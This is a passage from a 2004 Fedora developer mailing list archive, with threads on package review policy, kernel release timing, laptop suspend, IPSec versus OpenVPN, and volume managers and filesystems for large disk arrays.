2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 5 Oct 2004 16:09:49 +0200 Subject: QA-process for new packages In-Reply-To: <1096981268.3608.52.camel@localhost.localdomain> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> <20041005144913.632b33b7.fedora@wir-sind-cool.org> <1096981268.3608.52.camel@localhost.localdomain> Message-ID: <20041005160949.5a6ffbac.fedora@wir-sind-cool.org> On Tue, 05 Oct 2004 09:01:08 -0400, Michael Tiemann wrote: > > > Silke, I'll volunteer to be one of your reviewers. > > > > Good to hear that. Though, Silke's packages are held up by packages > > at the bottom of their dependency chain, e.g. shapelib: > > > > https://bugzilla.fedora.us/show_bug.cgi?id=920 > > > > That package blocks four other tickets, so one would guess the > > packagers would try to get it released with higher priority. Would be > > much appreciated to get your comments there. > > Please tell me what I need to do. If I need to be a package reviewer > for shapelib, I'll do that. If I need to lobby people inside Red Hat, > I'll try to do that. I think it's hugely important that Fedora be a > good host for GIS software users and developers. [Actually, this particular package is called "proj" (shapelib is another one in the dependency chain).] Bug 920 would need somebody to answer the questions raised in the last comment and preferably post a GPG clearsigned approval in accordance with the fedora.us package submission and QA policy ( http://www.fedora.us/wiki/PackageSubmissionQAPolicy ). [1] Currently, there is no other way to get packages published. And for new contributors--package developers as well as reviewers--there is no other way to earn trust, well, except for submitting flawless packages. While it would be easy for me, or one of the other trusted developers, to verify whether a new contributor is who (s)he pretends to be, it would need much more before I would declare that I trust him or her with regard to creating packages and/or direct access to the build system and repository. Release manager resources are finite, too, and for instance, I wouldn't like to see the build team encounter an increasing number of failed builds (or updates which would be published without QA and would break the repository). Definition of "trust" is one of the major problems. What holds up many packages in the fedora.us QA queue is lack of community commitment. For the few people, who review and approve packages regularly, reviewing and approving hundreds of special purpose packages (e.g. educational programming languages) is beyond their time and motivation. Especially, since many packages don't even build, or don't seem to work when they build, or raise many questions. More than 60 people have submitted packages. But only few of them help eachother to get the stuff approved. Seeing progress in terms of official Fedora Extras, and a contributor recruitment process guided by Red Hat, would be helpful, too. With some people at fedora.us it seems as if they would like to get a package included, but when they are told that the package doesn't build or has bugs/problems in several places, they don't respond or sound as if they accept suggestions only reluctantly. As if they think they can save themselves the work because everything will become more easy (like the old Red Hat Contrib mess) with official Fedora Extras. ----- [1] As a side-note, one can argue about alternative ways how to package "proj". For instance, in the NetCDF package request, the issue of polluting the /usr/include namespace has come up. Installing header files into an own directory below /usr/include, or headers and libraries into an own tree below /usr/lib/foo, is a common technique to avoid namespace pollution and to allow for parallel installation of multiple library versions. But usually, such issues don't block a package from being published as long as there are no file conflicts [yet]. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 1.38 1.38 1.41 From feliciano.matias at free.fr Tue Oct 5 14:10:06 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 05 Oct 2004 16:10:06 +0200 Subject: rawhide report: 20041005 changes In-Reply-To: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> Message-ID: <1096985406.26308.13.camel@localhost.localdomain> Le mardi 05 octobre 2004 ? 08:51 -0400, Build System a ?crit : > > ppp-2.4.2-6.1 > ------------- > * Mon Oct 04 2004 David Woodhouse 2.4.2-6.1 > > - Include atmsap.h for pppoatm plugin. > For blli_in_use I suppose. I never succeed to compile linux-atm with glibc-kernheaders. > * Mon Oct 04 2004 David Woodhouse 2.4.2-6 > > - Add pppoatm plugin (#131555) pppoatm ! Unbelievable. Fedora touch in action ? I'll try it very soon (with bewan ADSL driver (proprietary)) . When it reach my mirror. Many thanks. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From kyrre at solution-forge.net Tue Oct 5 14:19:29 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 05 Oct 2004 16:19:29 +0200 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <1096952370.18722.15.camel@localhost.localdomain> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <1096952370.18722.15.camel@localhost.localdomain> Message-ID: <1096985969.2723.4.camel@kyrre> When is 2.6.9 due to be ready? tir, 05.10.2004 kl. 06.59 skrev Matias Feliciano: > No, FC3 will not wait for 2.6.9 . > > This does not mean FC3 will be not released with 2.6.9 . > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From kyrre at solution-forge.net Tue Oct 5 14:21:38 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 05 Oct 2004 16:21:38 +0200 Subject: Segfaults with file selection dialogs In-Reply-To: <20041005134438.3c6a53ea@localhost> References: <20041005103602.019b4b5a@localhost> <4162856E.30801@redhat.com> <20041005134438.3c6a53ea@localhost> Message-ID: <1096986098.2723.6.camel@kyrre> > now that I finally have suspend to RAM working, I'm > going to be extra careful about things like this ;-) Via ACPI? How did you do that?!? From dwmw2 at infradead.org Tue Oct 5 14:34:26 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 05 Oct 2004 15:34:26 +0100 Subject: rawhide report: 20041005 changes In-Reply-To: <1096985406.26308.13.camel@localhost.localdomain> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> <1096985406.26308.13.camel@localhost.localdomain> Message-ID: <1096986866.30942.886.camel@hades.cambridge.redhat.com> On Tue, 2004-10-05 at 16:10 +0200, Matias F?liciano wrote: > > ppp-2.4.2-6.1 > > - Include atmsap.h for pppoatm plugin. > > For blli_in_use I suppose. > I never succeed to compile linux-atm with glibc-kernheaders. No, actually I noticed that the pppoatm plugin uses almost nothing from libatm except for a couple of text parsing routines, so I imported those directly, and the header files they used. But I missed atmsap.h because there had been an old copy lying around in /usr/local/include/ on my PowerBook. But yes, the Fedora glibc-kernheaders are broken, and I needed to patch atmsap.h to include blli_in_use() to work around that, at least when I was building the full linux-atm package. I'm actually not sure if I still need it for the bits I imported into pppd/pppoatm though. http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127098 > > - Add pppoatm plugin (#131555) > > pppoatm ! > Unbelievable. Fedora touch in action ? Dunno about the Fedora touch -- I just happened to try installing a SpeedTouch modem a while back, and was highly offended at how complex it all was. So I thought I'd make it a bit easier in FC3 if I could. That includes fixing the Speedtouch driver so it can actually load the firmware and initialise the modem for itself, without requiring any of the horrid userspace tools. Another plug for that, since I don't feel I've got enough testing reports yet, or that I've done enough IPv6 advocacy this week... export CVS_RSH=`which ssh` cvs -d :ext:anoncvs at cvs.infradead.org:/home/cvs co usbatm cd usbatm make su modprobe atm insmod usbatm.ko insmod speedtch.ko You need to put the two separate parts of the firmware into /lib/firmware/speedtch-[12].bin after extracting them with the 'firmware_extract' tool from the old userspace speedtouch tools. (You have to ask for that to be built specifically, by 'make firmware_extract' in the src/ directory). -- dwmw2 From ed at eh3.com Tue Oct 5 14:38:36 2004 From: ed at eh3.com (Ed Hill) Date: Tue, 05 Oct 2004 10:38:36 -0400 Subject: QA-process for new packages In-Reply-To: <20041005160949.5a6ffbac.fedora@wir-sind-cool.org> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> <20041005144913.632b33b7.fedora@wir-sind-cool.org> <1096981268.3608.52.camel@localhost.localdomain> <20041005160949.5a6ffbac.fedora@wir-sind-cool.org> Message-ID: <1096987115.823.195.camel@localhost.localdomain> On Tue, 2004-10-05 at 10:09, Michael Schwendt wrote: > On Tue, 05 Oct 2004 09:01:08 -0400, Michael Tiemann wrote: > > > > > Silke, I'll volunteer to be one of your reviewers. > > > > > > Good to hear that. Though, Silke's packages are held up by packages > > > at the bottom of their dependency chain, e.g. shapelib: > > > > > > https://bugzilla.fedora.us/show_bug.cgi?id=920 > > > > > > That package blocks four other tickets, so one would guess the > > > packagers would try to get it released with higher priority. Would be > > > much appreciated to get your comments there. > > > > Please tell me what I need to do. If I need to be a package reviewer > > for shapelib, I'll do that. If I need to lobby people inside Red Hat, > > I'll try to do that. I think it's hugely important that Fedora be a > > good host for GIS software users and developers. > > [Actually, this particular package is called "proj" (shapelib is > another one in the dependency chain).] > > Bug 920 would need somebody to answer the questions raised in the > last comment and preferably post a GPG clearsigned approval in > accordance with the fedora.us package submission and QA policy > ( http://www.fedora.us/wiki/PackageSubmissionQAPolicy ). [1] Hi Michael (& Michael), As someone relatively new to packaging, thank you for the discussion on how to get software into Fedora Extras. I'd also *very* much like to see Fedora become a good distro for GIS (and climate and weather and ocean modeling). And as the NetCDF and NCO package submitter, I'm dedicating a few hours every week to work on updates and QA. Hopefully, I'll get faster as I get more experience. So please keep the reviews coming! I promise to enthusiastically [not reluctantly! ;-)] make changes when the suggestions make sense. Ed ps - It would be great to have an OPeNDAP (formerly "DODS") RPM (or collection of RPMs since it has many components) for Fedora. Is anyone else interested in tackling this large-ish package? Or has someone already done it? http://opendap.org/ -- Edward H. Hill III, PhD office: MIT Dept. of EAPS; Rm 54-1424; 77 Massachusetts Ave. Cambridge, MA 02139-4307 emails: eh3 at mit.edu ed at eh3.com URLs: http://web.mit.edu/eh3/ http://eh3.com/ phone: 617-253-0098 fax: 617-253-4464 From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Tue Oct 5 14:40:59 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Tue, 5 Oct 2004 16:40:59 +0200 Subject: Segfaults with file selection dialogs In-Reply-To: <1096986098.2723.6.camel@kyrre> References: <20041005103602.019b4b5a@localhost> <4162856E.30801@redhat.com> <20041005134438.3c6a53ea@localhost> <1096986098.2723.6.camel@kyrre> Message-ID: <20041005164059.65304b57@localhost> Kyrre Ness Sjobak wrote : > > now that I finally have suspend to RAM working, I'm > > going to be extra careful about things like this ;-) > > Via ACPI? How did you do that?!? I have an ATI Radeon Mobility 9600 in a Dell Inspiron 8600, and these instructions worked for me : http://www.loria.fr/~thome/d600/ Basically, I had to recompile my kernel with the radeonfb-4g patch applied and radeonfb built in. All the rest is pretty much optional. A colleague with the same laptop but with an NVidia card also got suspend working with FC2, but I think is was by using the binary drivers. I'd love to see suspend working out-of-the-box, but that means adding a patch to the Fedora Core kernel, and that's not in the same direction as trying to keep as close as possible to upstream... so I'm hoping the people who made that patch will try to push it into the mainstream kernel if they consider it clean enough. My problem now is that I know I won't be able to live without suspend ever again... ;-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.50 0.49 0.44 From kyrre at solution-forge.net Tue Oct 5 14:48:45 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 05 Oct 2004 16:48:45 +0200 Subject: Segfaults with file selection dialogs In-Reply-To: <20041005164059.65304b57@localhost> References: <20041005103602.019b4b5a@localhost> <4162856E.30801@redhat.com> <20041005134438.3c6a53ea@localhost> <1096986098.2723.6.camel@kyrre> <20041005164059.65304b57@localhost> Message-ID: <1096987725.2723.12.camel@kyrre> Lucky you. Iv'e got an evo N600 - whitch has a pretty broken ACPI... I have to manually turn on the fan (or... rc.local) on each boot, and i cant turn it back off... (get kernel errors when i turn it on, and the proc entry dies...) But there is another laptop which is working quite nicely :P tir, 05.10.2004 kl. 16.40 skrev Matthias Saou: > Kyrre Ness Sjobak wrote : > > > > now that I finally have suspend to RAM working, I'm > > > going to be extra careful about things like this ;-) > > > > Via ACPI? How did you do that?!? > > I have an ATI Radeon Mobility 9600 in a Dell Inspiron 8600, and these > instructions worked for me : > http://www.loria.fr/~thome/d600/ > > Basically, I had to recompile my kernel with the radeonfb-4g patch applied > and radeonfb built in. All the rest is pretty much optional. A colleague > with the same laptop but with an NVidia card also got suspend working with > FC2, but I think is was by using the binary drivers. > > I'd love to see suspend working out-of-the-box, but that means adding a > patch to the Fedora Core kernel, and that's not in the same direction as > trying to keep as close as possible to upstream... so I'm hoping the people > who made that patch will try to push it into the mainstream kernel if they > consider it clean enough. > > My problem now is that I know I won't be able to live without suspend ever > again... ;-) > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell > Load : 0.50 0.49 0.44 From dhollis at davehollis.com Tue Oct 5 15:26:15 2004 From: dhollis at davehollis.com (David Hollis) Date: Tue, 05 Oct 2004 11:26:15 -0400 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <1096985969.2723.4.camel@kyrre> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <1096952370.18722.15.camel@localhost.localdomain> <1096985969.2723.4.camel@kyrre> Message-ID: <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> On Tue, 2004-10-05 at 16:19 +0200, Kyrre Ness Sjobak wrote: > When is 2.6.9 due to be ready? > The standard answer for any question like this: When it's ready. Linus will release it when he feels it is ready to be released. On the other hand, the fix for the via-velocity problem is probably already in the rawhide kernels: [dhollis at dhollis-lnx ~]$ rpm -q --changelog kernel-2.6.8-1.590 | more * Tue Sep 28 2004 Jeremy Katz - add patch from Roland McGrath/James Morris to fix mprotect hook bug (#133505) * Mon Sep 20 2004 Arjan van de Ven - 2.6.9-rc2-bk5 -- David Hollis From jerone at gmail.com Tue Oct 5 15:34:21 2004 From: jerone at gmail.com (Jerone Young) Date: Tue, 5 Oct 2004 10:34:21 -0500 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <1096952370.18722.15.camel@localhost.localdomain> <1096985969.2723.4.camel@kyrre> <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> Message-ID: <9f50a7a004100508346fe68e20@mail.gmail.com> The fixes for the via-velocity driver are not in the redhat kernel .... I made this post to get this visability ...so that if FC3 goes out without 2.6.9...these fixes do make it into the redhat kernel. On Tue, 05 Oct 2004 11:26:15 -0400, David Hollis wrote: > On Tue, 2004-10-05 at 16:19 +0200, Kyrre Ness Sjobak wrote: > > When is 2.6.9 due to be ready? > > > The standard answer for any question like this: When it's ready. Linus > will release it when he feels it is ready to be released. > > On the other hand, the fix for the via-velocity problem is probably > already in the rawhide kernels: > > [dhollis at dhollis-lnx ~]$ rpm -q --changelog kernel-2.6.8-1.590 | more > * Tue Sep 28 2004 Jeremy Katz > > - add patch from Roland McGrath/James Morris to fix mprotect hook bug > (#133505) > > * Mon Sep 20 2004 Arjan van de Ven > > - 2.6.9-rc2-bk5 > > -- > David Hollis > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Tue Oct 5 16:03:22 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Tue, 5 Oct 2004 18:03:22 +0200 Subject: Fedora Core, VPNs and IPSec Message-ID: <20041005180322.18837c47@localhost> Hi, Here's another recurring topic about something pretty much broken all over the place, but that IMHO should be as easy to configure as possible, and as fast as possible to get working. No, not ACPI :-) Virtual Private Networks! ;-) Until now, I had only once the need to configure a VPN, between only 3 points, and all went pretty well between Red Hat Linux 7.3 and 9 servers using cipe, as that was the included alternative at the time. I kind of liked having cipcb interfaces show up as P-t-P and do all my routing over that, and must say I got used to it enough to be really confused when I had to consider setting up VPNs with Fedora Core... The first thing I tried, as I have to interoperate with the existing VPN was to add CIPE support to a Fedora Core system... after many oopses and kernel panics, I gave up and decided to move on to checking out IPSec, which I hadn't done in a long time! To my great surprise, no more (super)freeswan.org/.ca mess with/without x509 certificates, it's now all in openswan, which is part of Fedora Core, "great" I thought! But then I went digging... I found out how broken the config parser was, also how easy it was to "cut the branch I was sitting on"... and how hard it was to debug. Then I tried to figure the link between ipsec-tools and openswan (which Requires: them...), and I must say that I still can't find any. They seem to be both two parallel userspace sets of tools that use the same kernel crypto layer to operate... and after following the nice howto on http://www.ipsec-howto.org/ and finding solutions to my problems as I went forward on kame.net's mailing-list archives, I must say racoon and setkey are really soooooooo much easier to use! I've now got two test machines tunneling two networks between each other after just generating a few certificates and editing a couple of configuration files, and it should be just as easy for roadwarriors, neato! So, my question is : Which is the preferred IPSec set of tools for Fedora Core? Is it planned to move IPSec's integration a little forward, into the Network config tools for instance? If anyone with more *swan/kame/etc. knowledge can give me a little light on this, I'd really appreciate, as I still don't know if I've chosen the good direction. If ipsec-tools are there to stay, should I eventually do some quick tweaking to add an init script for it? Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.19 0.64 0.59 From rstrode at redhat.com Tue Oct 5 16:38:14 2004 From: rstrode at redhat.com (Ray Strode) Date: Tue, 05 Oct 2004 12:38:14 -0400 Subject: udev on Fedora In-Reply-To: <4159581E.50605@redhat.com> References: <4159581E.50605@redhat.com> Message-ID: <1096994294.3275.15.camel@localhost.localdomain> Hi, > If you have questions or problems with udev on Fedora, please have a > look at: > http://people.redhat.com/~harald/udev.html > If not answered by this, send your questions to me, and I will extend > this page. Do you think this should be put on the Fedora WIKI? --Ray From kewley at cns.caltech.edu Tue Oct 5 16:38:22 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Tue, 5 Oct 2004 09:38:22 -0700 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 Message-ID: <200410050938.23033.kewley@cns.caltech.edu> I'm looking at building several multi-TB arrays in an academic research environment. So far I've been heading toward FC3 (or possibly RHEL4 when it's released), EVMS, and XFS. I've seen little or no mention of EVMS in the Fedora and RHEL communities, and I'm wondering why that is. From reading websites & mailing list archives, it seems to me like EVMS is more mature than LVM2, and more fully-featured than either LVM or LVM2. I've not actually used any of the three yet. Today I'm patching the FC3t2 kernel (541) with the patches (mostly DM patches) recommended on the EVMS website http://evms.sourceforge.net/install/, and it's going quite smoothly. So far only the first patchfile in the udm1 patchset didn't apply, because it's already applied in FC3t2 kernel 541. A similar patching attempt yesterday on FC1 was miserable (I expect no one will be surprised at that :). Is there a good reason to use LVM or LVM2 rather than EVMS? Is there a reason EVMS isn't included in FC? On to filesystems. I saw some commentary by Arjan on the RHEL4 beta list http://www.redhat.com/mailman/listinfo/nahant-beta-list suggesting that there is no good, known reason to use XFS in RHEL4 (and presumably FC3?), because ext3 has been patched to provide significantly better performance, and online resize of ext3 is being actively worked on. Indeed those are the two obvious issues that I care about, so I'm considering going with ext3 rather than XFS. Can anyone think of a reason to use XFS over ext3, even with the improvements that Arjan mentioned? Maybe XFS scales better still, or provides a significant advantage in filesystem size on 64-bit architectures, compared to ext3? David From ndbecker2 at verizon.net Tue Oct 5 17:01:49 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Tue, 05 Oct 2004 13:01:49 -0400 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 References: <200410050938.23033.kewley@cns.caltech.edu> Message-ID: David Kewley wrote: > I'm looking at building several multi-TB arrays in an academic research > environment. So far I've been heading toward FC3 (or possibly RHEL4 when > it's released), EVMS, and XFS. > > I've seen little or no mention of EVMS in the Fedora and RHEL communities, > and > I'm wondering why that is. From reading websites & mailing list archives, > it seems to me like EVMS is more mature than LVM2, and more fully-featured > than > either LVM or LVM2. I've not actually used any of the three yet. > > Today I'm patching the FC3t2 kernel (541) with the patches (mostly DM > patches) recommended on the EVMS website > http://evms.sourceforge.net/install/, and > it's going quite smoothly. So far only the first patchfile in the udm1 > patchset didn't apply, because it's already applied in FC3t2 kernel 541. > A similar patching attempt yesterday on FC1 was miserable (I expect no one > will be surprised at that :). > > Is there a good reason to use LVM or LVM2 rather than EVMS? Is there a > reason EVMS isn't included in FC? > IIRC LVM was accepted by kernel developers over EVMS, which quietly accepted this decision. From alan at redhat.com Tue Oct 5 17:03:35 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 5 Oct 2004 13:03:35 -0400 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: References: <200410050938.23033.kewley@cns.caltech.edu> Message-ID: <20041005170335.GA4513@devserv.devel.redhat.com> On Tue, Oct 05, 2004 at 01:01:49PM -0400, Neal D. Becker wrote: > > Is there a good reason to use LVM or LVM2 rather than EVMS? Is there a > > reason EVMS isn't included in FC? > > IIRC LVM was accepted by kernel developers over EVMS, which quietly accepted > this decision. Indeed. EVMS kernel space is dead. Linus rejected it for the device mapper layer. Fedora tracks upstream so EVMS is not in, never having made upstream. EVMS userspace as I understand it is still being developed but using the device mapper. From felipe_alfaro at linuxmail.org Tue Oct 5 17:16:52 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Tue, 5 Oct 2004 19:16:52 +0200 Subject: Fedora Core, VPNs and IPSec In-Reply-To: <20041005180322.18837c47@localhost> References: <20041005180322.18837c47@localhost> Message-ID: <598B2C68-16F2-11D9-8E10-000D9352858E@linuxmail.org> On Oct 5, 2004, at 18:03, Matthias Saou wrote: > So, my question is : Which is the preferred IPSec set of tools for > Fedora > Core? Is it planned to move IPSec's integration a little forward, into > the > Network config tools for instance? I would go with ipsec-tools... I haven't used openswan, so I can't tell, and I don't know if it will be supported in a near future. Anyways, ipsec-tools has support for: - manually keyed IPSec SA, by invoking "setkey" manually - PSK (pre-shared keys) or X.509-based SA, by using "racoon" IKE/ISAKMP daemon I have always limited myself to manually keyed ESP/AH SA on my side by manually creating the SA and filling in the SPD invoking "setkey" manually. In the past, I had problems with "racoon" and the Linux kernel: when a packet forced a SA to be negotiated for the very first time, the kernel always failed to queue that packet, waiting for the SA to be established, and then sending the packet through the link using ESP, AH or whatever protocol was negotiated. Instead, the kernel would return the -EAGAIN error to userspace (resource temporarily unavailable), which caused problems. For example, the first "ping" ICMP echo request packet forces the SA to be negotiated, but also fails with an -EAGAIN error. "pinging" again, once the SA has been established, works like a charm, but once the SA has been established. I don't know if this has already been fixed, though. From feliciano.matias at free.fr Tue Oct 5 17:22:43 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 05 Oct 2004 19:22:43 +0200 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <200410050938.23033.kewley@cns.caltech.edu> References: <200410050938.23033.kewley@cns.caltech.edu> Message-ID: <1096996963.4011.10.camel@localhost.localdomain> Le mardi 05 octobre 2004 ? 09:38 -0700, David Kewley a ?crit : > I'm looking at building several multi-TB arrays in an academic research > environment. So far I've been heading toward FC3 (or possibly RHEL4 when > it's released), EVMS, and XFS. > > I've seen little or no mention of EVMS in the Fedora and RHEL communities, and > I'm wondering why that is. Red Hat has acquired Sistina (developers of lvm2, ...) : http://www.redhat.com/about/presscenter/2003/press_sistina.html > From reading websites & mailing list archives, it > seems to me like EVMS is more mature than LVM2, and more fully-featured than > either LVM or LVM2. I've not actually used any of the three yet. > > Today I'm patching the FC3t2 kernel (541) with the patches (mostly DM patches) > recommended on the EVMS website http://evms.sourceforge.net/install/, and > it's going quite smoothly. So far only the first patchfile in the udm1 > patchset didn't apply, because it's already applied in FC3t2 kernel 541. A > similar patching attempt yesterday on FC1 was miserable (I expect no one will > be surprised at that :). > > Is there a good reason to use LVM or LVM2 rather than EVMS? Is there a reason > EVMS isn't included in FC? > > On to filesystems. I saw some commentary by Arjan on the RHEL4 beta list > http://www.redhat.com/mailman/listinfo/nahant-beta-list suggesting that there > is no good, known reason to use XFS in RHEL4 (and presumably FC3?), because > ext3 has been patched to provide significantly better performance, and online > resize of ext3 is being actively worked on. Indeed those are the two obvious > issues that I care about, so I'm considering going with ext3 rather than XFS. > > Can anyone think of a reason to use XFS over ext3, even with the improvements > that Arjan mentioned? Maybe XFS scales better still, or provides a > significant advantage in filesystem size on 64-bit architectures, compared to > ext3? > > David > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora-devel at camperquake.de Tue Oct 5 17:26:34 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 5 Oct 2004 19:26:34 +0200 Subject: Fedora Core, VPNs and IPSec In-Reply-To: <20041005180322.18837c47@localhost> References: <20041005180322.18837c47@localhost> Message-ID: <20041005192634.415d34e8@nausicaa.camperquake.de> Hi. Matthias Saou wrote: > So, my question is : Which is the preferred IPSec set of tools for > Fedora Core? Is it planned to move IPSec's integration a little forward, > into the Network config tools for instance? While I do not know the answer to your question, I've found openvpn to be the end-it-all solution to my vpn needs. It's easy to set up, competely userspace, supports certificates (if you want so) and can be integrated into the redhat networking setup with a little scripting. If all you're going to do is connect a small number of computers (small being relative :), I'd have a good look at it. -- Q. In Malta, on which side of the road do they drive? A. The shady side. From john.hearns at clustervision.com Tue Oct 5 17:37:33 2004 From: john.hearns at clustervision.com (John Hearns) Date: Tue, 05 Oct 2004 18:37:33 +0100 Subject: EVMS, LVM, LVM2, XFS, ext3 on FC3 In-Reply-To: <200410050938.23033.kewley@cns.caltech.edu> References: <200410050938.23033.kewley@cns.caltech.edu> Message-ID: <1096997853.17462.30.camel@vigor12> On Tue, 2004-10-05 at 17:38, David Kewley wrote: > I'm looking at building several multi-TB arrays in an academic research > environment. So far I've been heading toward FC3 (or possibly RHEL4 when > it's released), EVMS, and XFS. > Having provided RAID arrays for scientific researchers, I'd say run with LVM/LVM2, I have used it an I'm happy. From mandreiana at rdslink.ro Tue Oct 5 17:38:10 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Tue, 05 Oct 2004 20:38:10 +0300 Subject: Fedora Core, VPNs and IPSec In-Reply-To: <20041005180322.18837c47@localhost> References: <20041005180322.18837c47@localhost> Message-ID: <1096997890.4053.13.camel@marte.biciclete.ro> On Tue, 2004-10-05 at 18:03 +0200, Matthias Saou wrote: > So, my question is : Which is the preferred IPSec set of tools for Fedora > Core? Is it planned to move IPSec's integration a little forward, into the > Network config tools for instance? IPsec looks quite bad, see http://www.giac.org/practical/GSEC/Charlie_Hosner_GSEC.pdf OpenVPN works great on FC2 and Windows. The tarball has .spec file included. Use the 2.0 beta, it's quite stable. -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From kyrre at solution-forge.net Tue Oct 5 17:57:51 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 05 Oct 2004 19:57:51 +0200 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <1096952370.18722.15.camel@localhost.localdomain> <1096985969.2723.4.camel@kyrre> <1096989975.4425.5.camel@dhollis-lnx.centricconsulting.com> Message-ID: <1096999015.4161.6.camel@kyrre> I know this is the official policy, but somebody got some clue when they probably arrive, yes? Wonder what Linus is up to. 2.6.8 series was (is) really buggy, and then he uses a helluva lot of time to get out the new ones. I really wonder what is going on. tir, 05.10.2004 kl. 17.26 skrev David Hollis: > On Tue, 2004-10-05 at 16:19 +0200, Kyrre Ness Sjobak wrote: > > When is 2.6.9 due to be ready? > > > The standard answer for any question like this: When it's ready. Linus > will release it when he feels it is ready to be released. > > On the other hand, the fix for the via-velocity problem is probably > already in the rawhide kernels: > > [dhollis at dhollis-lnx ~]$ rpm -q --changelog kernel-2.6.8-1.590 | more > * Tue Sep 28 2004 Jeremy Katz > > - add patch from Roland McGrath/James Morris to fix mprotect hook bug > (#133505) > > * Mon Sep 20 2004 Arjan van de Ven > > - 2.6.9-rc2-bk5 > > > -- > David Hollis From ndbecker2 at verizon.net Tue Oct 5 18:00:09 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Tue, 05 Oct 2004 14:00:09 -0400 Subject: Fedora Core, VPNs and IPSec References: <20041005180322.18837c47@localhost> <1096997890.4053.13.camel@marte.biciclete.ro> Message-ID: Marius Andreiana wrote: > On Tue, 2004-10-05 at 18:03 +0200, Matthias Saou wrote: >> So, my question is : Which is the preferred IPSec set of tools for Fedora >> Core? Is it planned to move IPSec's integration a little forward, into >> the Network config tools for instance? > IPsec looks quite bad, see > http://www.giac.org/practical/GSEC/Charlie_Hosner_GSEC.pdf > > OpenVPN works great on FC2 and Windows. The tarball has .spec file > included. Use the 2.0 beta, it's quite stable. > I use openvpn - it's great. Haven't tried 2.0 yet, because it requires certificates - and I still haven't figured out how to make them. From fedora at leemhuis.info Tue Oct 5 17:59:08 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Tue, 05 Oct 2004 19:59:08 +0200 Subject: To package or not to package? In-Reply-To: References: Message-ID: <1096999148.2672.9.camel@localhost.localdomain> Hi *! Am Dienstag, den 05.10.2004, 00:57 +0200 schrieb Gianluca Sforna: [...] > I am interested in packaging the kernel driver for TI ACX100/111 > wireless network cards, but this poses some issues: > - currently an older version is present in Dag Wieers repo (thanks > Dag!!). Should I ask him "permission" to work on it before doing > anything? would it clash somehow if present in both repos (dag & > extras)? Can't speak for Dag, but AFAIK some people already took his spec-files and build on top of them a version for fedora.us. But I made the experience that is easier to start with the standard SPEC file template. If you have problems you still can look into other spec- files. This has nothing to do with the quality of the spec-files, just my own experience -- your mileage may vary. > - How do I deal with the card firmware, which is released as a binary > module (guess much like the intel centrino one) You need to check the license carefully. I don't know it, but I suspect it's redistributable at fedora.us -- so maybe livna.org is a better target. Or leave 